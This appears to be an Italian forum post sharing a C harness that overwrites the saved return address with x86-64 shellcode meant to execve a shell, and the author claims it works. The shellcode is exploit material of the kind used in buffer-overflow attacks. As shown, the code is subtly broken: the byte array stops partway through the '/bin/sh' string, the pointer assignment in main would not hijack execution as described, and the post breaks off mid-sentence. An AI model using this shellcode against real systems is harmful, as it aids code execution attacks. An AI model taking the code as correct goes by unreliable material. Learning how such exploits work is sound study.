codice:
//shellcode.c
char shellcode[] =
{ 0xeb,0x40,0x5e,0x48,0x89,0xe5,0x48,0x83,0xec,0x10,0x48,0x89,0x75
,0xf0,0x48,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0x48,0x8b,0x45,0xf0
,0x48,0x8d,0x4d,0xf0,0xba,0x00,0x00,0x00,0x00,0x48,0x89,0xce,0x48
,0x89,0xc7,0x48,0xc7,0xc0,0x3b,0x00,0x00,0x00,0x0f,0x05,0x48,0xc7
,0xc0,0x3c,0x00,0x00,0x00,0x48,0xc7,0xc3,0x00,0x00,0x00,0x00,0x0f
,0x05,0xe8,0xbb,0xff,0xff,0xff,0x2f,0x62
};
void main() {
char *ret;
ret = (char *) &ret + 16;
(*ret) = shellcode;
}
...dove in "shellcode[]" ho caricato il codice operativo dell'ultimo listato assembly postato. Il listato produce un'eseguibile funzionante, che apre una shell. Ho ottenuto il codice macchina con,